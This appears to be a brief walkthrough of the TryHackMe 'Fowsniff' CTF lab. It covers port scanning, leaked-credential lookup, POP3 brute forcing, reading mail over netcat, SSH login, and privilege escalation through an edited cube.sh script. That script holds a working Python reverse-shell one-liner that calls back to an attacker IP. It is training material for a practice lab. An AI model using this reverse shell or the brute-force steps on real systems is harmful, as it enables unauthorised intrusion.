FOWSNIFF CTF WALKTHROUGH | TRYHACKME

3 min readApr 9, 2026

This boot2root machine is brilliant for new starters. You will have to enumerate this machine by finding open ports, do some online research (its amazing how much information Google can find for you), decoding hashes, brute forcing a login and much more!

This will be structured to go through what you need to do, step by step. Make sure you are connected to our network

Credit to berzerk0 (opens in new tab) for creating this machine.

Our first step will be Reconnaissance and Enumeration:

Lets do NMAP
nmap -A <ip>

Start by http.

There is a message, that indicated data breach.

we searched for leaked credentials. It’s available in github.

Found all hashes except one.

Save all username in and password in a file.

Use hydra (hint given in question — Using the usernames and passwords you captured, can you use metasploit to brute force the pop3 login?)

We got id — seina and password — scoobydoo2

Get ANWAR1’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Now try to connect the mail server through netcat.

To list emails, use LIST command. There are 2 emails. Use RETR command instead of cat to read.

We got ssh password of SSH in first email.

RETR 1

Both email sent by baksteen to devin. So, username could be one of it. And this hint also given lab’s question.

Check, is this user part of any groups.

In users, we found a intersting file.

cube.sh

Do nano cube.sh and write this reverse shell payload.

python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“ip”,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([“/bin/sh”,”-i”])’

Start netcat listening in your terminal. and execute this file.

We will get root shell. But there is no flag in this lab.

Lab solved.